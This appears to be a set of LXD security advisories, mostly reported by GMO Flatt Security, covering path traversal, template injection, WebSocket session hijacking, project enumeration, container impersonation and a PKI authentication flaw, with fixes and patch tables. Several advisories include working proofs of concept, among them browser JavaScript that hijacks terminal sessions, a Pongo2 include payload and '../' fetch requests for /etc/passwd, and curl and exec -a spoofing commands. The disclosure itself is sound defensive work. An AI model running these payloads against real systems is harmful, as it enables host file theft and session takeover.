An improper neutralization of special elements vulnerability in LXD's NVIDIA instance configuration handling allows an authenticated attacker to inject arbitrary configuration directives. By supplying newline characters within the 'nvidia.driver.capabilities' or 'nvidia.require.' configuration values, an attacker can manipulate the generated lxc.conf file. This flaw enables the attacker to execute arbitrary code on the host system with the privileges of the LXD daemon.

A link following vulnerability in LXD allows an attacker to achieve root command execution on the host system. During the import or unpacking of crafted image or backup archives, LXD fails to properly validate and confine the backup.yaml file when it exists as a symbolic link. An attacker can exploit this flaw by providing a malicious archive with a symlinked backup.yaml file, causing LXD to process unconfined configuration metadata and execute arbitrary commands with root privileges.

A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.

A path traversal vulnerability in LXD allows an attacker to manipulate file system paths during backup import and restore operations. When importing or restoring a backup archive, LXD fails to validate instance and storage volume names contained within the archive metadata. An attacker can exploit this flaw by supplying a crafted backup archive with malicious instance or volume names containing path traversal sequences, potentially allowing file access or overwriting outside the designated restore directory.

A path traversal vulnerability in LXD allows an attacker to achieve arbitrary host file read or unconstrained file creation. When processing image metadata templates, LXD fails to properly sanitize or restrict template file paths from escaping the instance templates directory (specifically affecting virtual machine / QEMU driver execution paths). An attacker can exploit this flaw by providing a crafted image archive with malicious template directives containing path traversal sequences, causing LXD to access or write files outside the intended template directory on the host system.

Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact In LXD's instance snapshot creation functionality, the Pongo2 template engine is used in the snapshots.pattern configuration for generating snapshot names. While code execution functionality has not been found in this template engine, it has file reading capabilities, creating a vulnerability that allows arbitrary file reading through template injection attacks.

Reproduction Steps

1. Log in to LXD-UI with an account that has permissions to modify instance settings 2. Set the following template injection payload in the instance snapshot pattern:

{% filter urlencode|slice:":100" %}{% include "/etc/passwd" %}{%endfilter %}

Note that the above template uses the Pongo2 template engine's include tag to read system files. It also uses urlencode and slice filters to bypass character count and type restrictions.

3. Set scheduled snapshots to run every minute and wait for snapshot generation 4. Wait about a minute and confirm that file contents can be obtained from the created snapshot name

Risk The attack requires having configuration change permissions for LXD instances. The attack allows reading arbitrary files accessible with LXD process permissions. This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Pongo2 provides mechanisms for sandboxing templates.

Template sandboxing (directory patterns, banned tags/filters) ( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )

This functionality allows banning specific tags and filters by generating a custom TemplateSet.

At minimum, the following tags are considered to pose a risk of file leakage on the LXD host when used. Therefore, banning these can provide countermeasures against file reading attacks. -​ include -​ ssi -​ extends -​ import

The deny-list approach is prone to vulnerability recurrence due to missed countermeasures or new feature additions. Therefore, as the safest approach, we recommend using an allow-list format to permit only necessary functions.

However, as far as our investigation shows, pongo2 does not have functionality to retrieve a list of registered tags or filters, nor does it provide means to implement an allow-list approach. Therefore, it is necessary to either forcibly obtain the registration list through reflection and ban anything not on the allow-list, or ban everything from the current implemented list since the library has not been updated for about two years.

In LXD's implementation, template injection attacks can be prevented by modifying the RenderTemplate function in shared/util.go to use a restricted TemplateSet as shown above.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163

This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, \, or .. .

Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

Description (2) A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

1. Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd execXXX-symlink.stdout

2. Execute the following JavaScript in browser DevTools to read files via symbolic link:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |

References Reported by GMO Flatt Security Inc.

Impact The LXD /1.0/images endpoint is implemented as an AllowUntrusted API that requires no authentication, making it accessible to users without accounts. This API allows determining project existence through differences in HTTP status codes when accessed with the project parameter.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L63-L69

This configuration allows access without authentication:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/daemon.go#L924-L926

This API returns a 404 error when accessing existing projects and a 403 error when accessing non-existent projects, allowing confirmation of project existence through this difference.

The problematic implementation is shown below.

First, in the error handling implementation of the imagesGet function below, project existence is checked within the projectutils.ImageProject function, and the err returned by the ImageProject function is directly returned to the user.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/i mages.go#L1781-L1788

When the project doesn't exist, the error is 404 (http.StatusNotFound), which is returned to the user:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/cluster/projects.mapper.go#L237-L239

On the other hand, when the project exists but the user lacks viewing permissions, the imagesGet function returns 403 (response.Forbidden):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L1796-L1799

Reproduction Steps 1. Send the following request without authentication to a non-existent project:

curl -k "https://lxd-host:8443/1.0/images?project=XXX-project"

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"fetch project: Project not found","metadata":null}

2. Send a request without authentication to an existing project (if a public project exists, it will be included in the response):

curl -k "https://lxd-host:8443/1.0/images?project=exist-project"

Reponse:

{"type":"error","status":"","statuscode":0,"operation":"","errorcode":403,"error":"Untrusted callers may only access public images in the default project","metadata":null}

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of othervulnerabilities.

Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information. However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify the error handling in the imagesGet function to return consistent responses regardless of project existence. Specifically, when an error occurs during project existence verification, the implementation should be changed to always return a 403 (Untrusted callers may only access public images in the default project) error to unauthenticated users.

This ensures that the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact In LXD's images export API (/1.0/images/{fingerprint}/export), implementation differences in error handling allow determining project existence without authentication.

Specifically, in the following code, errors when multiple images match are directly returned to users as API responses:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L239-L246

While fingerprints generally don't duplicate, this functionality uses fingerprints with LIKE clauses, allowing prefix specification. Therefore, using LIKE wildcards such as % will match multiple images if multiple images exist in the project.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L277-L286

In the above implementation, multiple matches result in a 500 error, but if the project itself doesn't exist, there are 0 matches and a 404 is returned.

1. When project exists and multiple images match: HTTP 500 error "More than one image matches" 2. When project doesn't exist: HTTP 404 error "not found" This behavioural difference allows attackers to confirm project existence without authentication.

Reproduction Steps 1. Send a request with a pattern matching multiple entries to an existing project (default):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=default&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":500,"error":"More than one image matches","metadata":null}

2. Send a same request to a non-existent project (not-exist):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=not-exist&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"not found","metadata":null}

This difference allows enumerating existing projects in the system by brute-forcing(dictionary attack) project names.

Note that %25 is the URL encoding of %, which works as a wildcard matching all characters in SQL LIKE clauses. This is used to intentionally create requests matching multiple images to trigger a 500 error.

Additionally, the secret parameter is added to include non-public images in the search, increasing the possibility of multiple matches.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L4211-L4230

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of other vulnerabilities. Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information.

However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify error handling in the images export API (/1.0/images/{fingerprint}/export) to return consistent responses regardless of project existence.

Specifically, return 404 even when errors occur during project existence verification. This ensures the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Additionally, if there are no specification(compatibility) issues, allowing only exact fingerprint matches in unauthenticated states and disabling prefix matching can prevent unexpected errors from occurring.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact In LXD's devLXD server, the source container identification process uses process cmdline (command line) information, allowing attackers to impersonate other containers by spoofing process names.

The core issue lies in the findContainerForPID function in lxd/apidevlxd.go. This function identifies senders through two steps as shown below:

1. cmdline-based identification: Check while tracing back through parent processes, and if it starts with [lxc monitor], extract the project name and container name from that process name in the format projectNamecontainerName. 2. PID namespace-based identification: If not found in Step 1, check against all containers' PID namespaces.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/apidevlxd.go#L166-L276

Attackers can exploit Step 1 processing to impersonate arbitrary containers across projects by spoofing process names.

Reproduction Steps 1. Access devLXD server from a normal container (e.g., EEEE):

root@EEEE:~# curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data instance-id: 9f928574-2561-4eff-af82-a68e57d3c68b local-hostname: EEEE

2. Use exec -a to spoof process name and impersonate another container (DDDD):

root@EEEE:~# bash -c "exec -a '[lxc monitor]' curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data -x 'test-projectDDDD'" instance-id: 1bb2f1c3-3ad2-4cd6-9965-67b14c3582cc local-hostname: DDDD

This attack successfully obtains metadata (instance-id, local-hostname) of another container DDDD from within container EEEE.

Risk This vulnerability allows attackers to perform the following actions:

1. Theft of other containers' metadata information Obtaining other containers' information via devLXD API's /1.0/meta-data endpoint: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L295-L304

2. Obtaining other containers' configuration information via devLXD API's /1.0/config and /1.0/config/{key} endpoints: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L175-L221 https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L228-L267

4. Obtaining other containers' device information via devLXD API's /1.0/devices endpoint: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L377-L395 Particularly in environments where multiple projects run containers on the same LXD host, inter-project information leakage may occur. The attack prerequisite is root privileges within any container.

Countermeasures While containers basically run in separate PID namespaces, based on investigation, the [lxc monitor] process runs in the same PID namespace as the LXD execution process. Therefore, the problem can be resolved by modifying the implementation to use cmdline information only when the PID namespace of the target process matches the PID namespace of the process running LXD.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass project-level container isolation restrictions. When a project is configured with restrictions on container privileges (such as enforcing restricted.containers.privilege=isolated), LXD fails to enforce the requirement if an instance configuration omits the security.idmap.isolated key. An attacker can exploit this flaw by creating or updating an instance without explicitly setting security.idmap.isolated, bypassing the target project's security constraints.

Summary If a server.ca file is present in LXDDIR at LXD start up, LXD is in "PKI mode". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.

We have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store. - The LXD Go client (and by extension lxc) does not send non-CA signed certificates during the handshake. - A manual client (e.g. cURL) might send a non-CA signed certificate during the handshake.

Versions affected LXD 4.0 and above.

Details When PKI mode was added to LXD it was intended that all client and server certificates must be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909).

In PKI mode, the TLS listener configuration is altered to add the CA certificate but the ClientAuth field of tls.Config is not changed. The ClientAuth field is set to tls.RequestClientCert, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.

If a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail when using the Go client for LXD. I believe that what is happening is as follows: - During the TLS handshake, the server requests a certificate from the client. The server includes in it's request a list of acceptable CAs. - The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any. - The server considers the handshake complete because it does not absolutely require the client certificate (see above). - In the (Daemon).Authenticate method, when checking for TLS clients, there are no PeerCertificates in the request. So util.CheckTrustState is never called and the request is denied.

Importantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL.

PoC The follow snippet demonstrates the vulnerability:

Install/initialize LXD $ snap install lxd --channel 5.21/stable $ lxd init --auto $ lxc config set core.httpsaddress=127.0.0.1:8443

Add a certificate to the trust store before enabling PKI. $ token="$(lxc config trust add --name ca-test --quiet)" $ lxc remote add tls "${token}"

Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa $ cp -R /usr/share/easy-rsa "/tmp/pki" $ export EASYRSAKEYSIZE=4096 $ cd /tmp/pki $ ./easyrsa init-pki $ echo "lxd" | ./easyrsa build-ca nopass $ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca

Restart daemon. $ systemctl reload snap.lxd.daemon

Using curl with the client certificate we expect a 403 Forbidden response. Instead we get a 200 OK and we are able to view the response body. $ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key > ~/snap/lxd/common/config/client.pem $ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0" | jq '.metadata.config."core.httpsaddress"' Impact

I believe this has a low impact for the following reasons: PKI mode is unlikely to have a large user base. PKI is likely to be configured at start up without any previous certificates in the trust store. Authentication is not bypassed entirely, the client certificate must already be trusted.

Notes I am not certain why cURL sends the certificate during the handshake but we can see it in the logs: Trying 127.0.0.1:8443... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0) ALPN, offering h2 ALPN, offering http/1.1 CAfile: /var/lib/lxd/server.crt CApath: /etc/ssl/certs TLSv1.0 (OUT), TLS header, Certificate Status (22): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Client hello (1): } [512 bytes data] 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0 TLSv1.2 (IN), TLS header, Certificate Status (22): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Server hello (2): { [122 bytes data] TLSv1.2 (IN), TLS header, Finished (20): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): { [15 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Request CERT (13): { [69 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Certificate (11): { [496 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, CERT verify (15): { [111 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Finished (20): { [36 bytes data] TLSv1.2 (OUT), TLS header, Finished (20): } [5 bytes data] TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): } [1 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Certificate (11): <<<<<<<<< HERE } [455 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, CERT verify (15): } [111 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Finished (20): } [36 bytes data] SSL connection using TLSv1.3 / TLSAES128GCMSHA256 ALPN, server accepted to use h2 Server certificate: subject: O=LXD; CN=root@RUBIX start date: Apr 2 15:27:39 2024 GMT expire date: Mar 31 15:27:39 2034 GMT subjectAltName: host "127.0.0.1" matched cert's IP address! issuer: O=LXD; CN=root@RUBIX SSL certificate verify ok. Using HTTP2, server supports multiplexing Connection state changed (HTTP/2 confirmed) Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] Using Stream ID: 1 (easy handle 0x601ce9c4feb0) TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] GET /1.0 HTTP/2 Host: 127.0.0.1:8443 user-agent: curl/7.81.0 accept: / TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): { [569 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] Connection state changed (MAXCONCURRENTSTREAMS == 250)! TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] < HTTP/2 200 < content-type: application/json < etag: "a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1" < date: Mon, 17 Jun 2024 21:25:46 GMT < TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] 100 11659 0 11659 0 0 3401 0 --:--:-- 0:00:03 --:--:-- 3402 Connection #0 to host 127.0.0.1 left intact